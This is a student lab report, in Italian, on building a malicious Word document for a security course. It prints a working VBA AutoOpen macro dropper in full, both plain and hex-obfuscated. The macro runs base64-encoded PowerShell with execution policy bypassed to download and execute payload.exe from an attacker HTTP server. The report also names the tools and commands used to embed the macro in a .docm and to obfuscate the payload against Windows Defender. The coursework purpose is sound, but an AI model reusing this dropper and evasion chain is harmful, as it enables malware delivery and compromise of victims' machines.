REPORT DOCUMENTO MALEVOLO

*Nome Cognome Farina Christian*

*Matricola VR501577*

*Email christian.farina@studenti.univr.it*

# COMANDO POWERSHELL

In questa sezione dovete presentare il codice del comando Powershel e le tecniche adottate per codificarlo in base 64.

**COMANDI POWERSHELL**

' Mi collego al server creato con python e scarico il file malevolo

comandoDaEseguire= "(New-Object Net.WebClient).DownloadFile('" & "http://ipattaccante:porta/payload.exe" & "', '" & "percorso\dove\voglio\salvare\file.zip " & "')"

comandoDaEseguire2= " & 'percorso\dove\è\salvato\payload.exe'"

' Eseguo il comando PowerShell per scaricare il file malevolo

shell.Run "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command " & comandoDaEseguire, 0, True

' Eseguo il comando PowerShell per eseguire il file malevolo

shell.Run "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command " & comandoDaEseguire2, 0, True

**TECNICHE DI CODIFICA**

Per la codifica ho utilizzato due metodi in VBA che codificano stringhe date in input, in un contest reale le stringhe sarebbero state date, direttamente codificate, come input al decodificatore di VBA; tuttavia, per motivi didattici ho inserito I due metodi all’interno del codice del file malevolo, per mostrarne il funzionamento. Il programma infatti esegue I seguenti passaggi:

1 Codifica le stringhe

2 Decodifica le stringhe

3 Esegue I comandi decodificati

**METODI USATI PER CODIFICARE I COMANDI**

' codifica una stringa in input in base 64 e restituisce la stringa codificata

Function EncodeBase64(str As String) As String

Dim objXML As Object

Dim objNode As Object

' Crea un oggetto XML

Set objXML = CreateObject("MSXML2.DOMDocument")

Set objNode = objXML.createElement("b64")

' Imposta il testo del nodo con il comando da codificare

objNode.dataType = "bin.base64"

objNode.nodeTypedValue = stringaABinario(str)

' Restituisci il risultato della codifica base64

EncodeBase64 = objNode.text

' Libera l'oggetto XML

Set objNode = Nothing

Set objXML = Nothing

End Function

' Converte una stringa in input in dati binari

Function stringaABinario(s As String) As Variant

Dim ado As Object

Set ado = CreateObject("ADODB.Stream")

ado.Type = 2 ' adTypeText

ado.Charset = "us-ascii"

ado.Open

ado.WriteText s

ado.Position = 0

ado.Type = 1 ' adTypeBinary

stringaABinario = ado.Read

ado.Close

Set ado = Nothing

End Function

# VBA MACRO

In questa sezione dovete presentare il codice della macro prima che venga offuscato, le tecniche adottate per offuscare il codice e il codice della macro offuscato.

**CODICE MACRO NON OFFUSCATO**

Sub AutoOpen()

Dim codificato As String

Dim codificato2 As String

Dim comandoBase64 As String

Dim comandoDaEseguire As String

Dim comandoDaEseguire2 As String

Dim shell As Object

Set shell = VBA.CreateObject("WScript.Shell")

' comando per scaricare il file malevolo

codificato = EncodeBase64("(New-Object Net.WebClient).DownloadFile('" & "http://192.168.43.209:8000/payload.exe" & "', '" & "C:\Users\malware\Downloads\payload.zip" & "')")

' comando per eseguire il file malevolo

codificato2 = EncodeBase64(" & 'C:\Users\malware\Downloads\payload.exe'")

' Comando PowerShell codificato in base64

comandoBase64 = "IEX([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('BASE64\_ENCODED\_COMMAND')))"

' decodifico i due comandi da base64 a normali

comandoDaEseguire = Replace(comandoBase64, "BASE64\_ENCODED\_COMMAND", codificato)

comandoDaEseguire2 = Replace(comandoBase64, "BASE64\_ENCODED\_COMMAND", codificato2)

' Esegui il comando PowerShell per scaricare il file malevolo

shell.Run "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command " & comandoDaEseguire, 0, True

Call unzip 'estraggo il payload

' Esegui il comando PowerShell per eseguire il file malevolo

shell.Run "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command " & comandoDaEseguire2, 0, True

' Rilascio l'oggetto

Set shell = Nothing

End Sub

' Decomprime la cartella col payload malevolo

Sub unzip()

Dim FSO As Object

Dim sfolder As String

Dim sApp As Object

Dim MyFile As String

Dim ExtractTo As Variant

Set FSO = CreateObject("Scripting.FileSystemObject")

sfolder = "C:\Users\crist\Downloads\"

MyFile = Dir(sfolder, vbNormal)

ExtractTo = sfolder

Do While MyFile <> ""

If Right(MyFile, 3) = "zip" Then

Set sApp = CreateObject("Shell.Application")

sApp.Namespace(ExtractTo).CopyHere sApp.Namespace(sfolder & MyFile).Items

DoEvents

End If

MyFile = Dir

Loop

End Sub

**CODICE MACRO OFFUSCATO**

Const ttjizrllxwajdvfd = 2

Const euspdrz = 1

Const ijuxigpwgeu = 0

Sub AutoOpen()

Dim ddvsalsbhsamkq As String

Dim eavmyimjn As String

Dim dsffuvx As String

Dim dbrdnepriwzak As Object

Set dbrdnepriwzak = VBA.CreateObject(rlhlektfjszistm("575363726970742e53") & rlhlektfjszistm("68656c6c"))

ddvsalsbhsamkq = rlhlektfjszistm("494558285b53797374656d2e546578742e456e636f64696e675d3a3a555446382e476574537472696e67285b53797374656d2e436f6e766572745d3a3a46726f6d426173653634537472696e67282742") & rlhlektfjszistm("41534536345f454e434f4445445f434f4d4d414e4427292929")

eavmyimjn = Replace(ddvsalsbhsamkq, rlhlektfjszistm("4241534536345f454e434f4445") & rlhlektfjszistm("445f434f4d4d414e44"), rlhlektfjszistm("4b45356c64793150596d706c59335167546d56304c6c646c596b4e736157567564436b7552473933626d7876595752476157786c4b43646f644852774f6938764d546b794c6a45324f4334784c6a45774f6a") & rlhlektfjszistm("67774d44417663474635624739685a4335366158416e4c43416e517a706356584e6c636e4e6359334a706333526352473933626d78765957527a584842686557787659575175656d6c774a796b3d"))

dsffuvx = Replace(ddvsalsbhsamkq, rlhlektfjszistm("4241534536345f454e434f4445") & rlhlektfjszistm("445f434f4d4d414e44"), rlhlektfjszistm("494359674a304d365846567a5a584a7a58474e7961584e3058455276643235736232466b6331787759586c736232466b4c6d56345a") & rlhlektfjszistm("53633d"))

dbrdnepriwzak.Run rlhlektfjszistm("706f7765727368656c6c2e65786520") & rlhlektfjszistm("2d4e6f50726f66696c65202d457865637574696f6e506f6c69637920427970617373202d436f6d6d616e6420") & eavmyimjn, ijuxigpwgeu, True

Call mbfxexlevptgj

dbrdnepriwzak.Run rlhlektfjszistm("706f7765727368656c6c2e657865202d4e6f50726f66696c65202d457865637574696f6e506f6c6963792042797061737320") & rlhlektfjszistm("2d436f6d6d616e6420") & dsffuvx, ijuxigpwgeu, True

Set dbrdnepriwzak = Nothing

End Sub

Sub mbfxexlevptgj()

Dim dqetmcojrcykhkuuroj As Object

Dim tsahrpztdxvongdmsl As String

Dim rpvwovdxuqrxdnypyft As Object

Dim rmxenvuvefwomujrm As String

Dim unialsnhj As Variant

Set dqetmcojrcykhkuuroj = CreateObject(rlhlektfjszistm("536372697074696e") & rlhlektfjszistm("672e46696c6553797374656d4f626a656374"))

tsahrpztdxvongdmsl = rlhlektfjszistm("433a5c55736572735c63726973745c446f776e6c6f61") & rlhlektfjszistm("64735c")

rmxenvuvefwomujrm = Dir(tsahrpztdxvongdmsl, vbNormal)

unialsnhj = tsahrpztdxvongdmsl

Do While rmxenvuvefwomujrm <> ""

If Right(rmxenvuvefwomujrm, 3) = rlhlektfjszistm("7a6970") Then

Set rpvwovdxuqrxdnypyft = CreateObject(rlhlektfjszistm("5368656c6c2e4170706c") & rlhlektfjszistm("69636174696f6e"))

rpvwovdxuqrxdnypyft.Namespace(unialsnhj).CopyHere rpvwovdxuqrxdnypyft.Namespace(tsahrpztdxvongdmsl & rmxenvuvefwomujrm).Items

DoEvents

End If

rmxenvuvefwomujrm = Dir

Loop

End Sub

Il codice è stato offuscato con il seguente offuscatore: https://github.com/sevagas/macro\_pack.git.

Il seguente programma genera un documento Word con la macro offuscata all’interno. Come input è necessario dare la macro non offuscata. (ho dato in input la macro direttamente coi comandi codificati in base 64). Prima di tutto bisogna esportare il codice VBA in un file con estensione ”.vba”, in seguito bisogna lanciare il comando:

macro\_pack.exe -f ThisFile.vba -o -G myDoc.docm

dove macro\_pack.exe è l’eseguibile fornito nel repository, ThisFile.vba è il codice esportato e myDoc.docm è il documento word che verrà creato, con all’interno la macro offuscata.

# INFRASTRUTTURA ATTACCO

In questa sezione dovete presentare le macchine virtuali utilizzate per condurre l’attacco e come sono state configurate.

**ATTACCANTE**

L’attaccante è la macchina Kali Linux usata a lezione con un ip statico, ho scritto due programmi in C# che rappresentano rispettivamente la console e il payload. La vittima aprendo il documento Word malevolo si collega ad un server creato con il comando “python -m http.server 8000” e scarica il payload malevolo. L’attaccante avvierà poi la console ed inserirà come input l’indirizzo ip della vittima fornitogli dal server python. Il payload è stato offuscato usando il seguente software: <https://github.com/h4wkst3r/InvisibilityCloak.git>.

L’unico possibile comando che ho implementato è la scrittura di un messaggio da remoto usando il prompt della vittima.

**VITTIMA**

La vittima è una macchina Windows 10 con Windows Defender abilitato e le altre impostazioni di sicurezza disabilitate (invio automatico di file d’esempio, protezione cloud ecc.) e con pacchetto Office installato, per permettere l’apertura del documento Word malevolo. Ho installato con VirtualBox una macchina Windows e ho scaricato il pacchetto Office con l’account accademico. La vittima non ha un ip statico; le due macchine sono connesse ad una rete con nat il cui indirizzo è 192.168.1.0/24.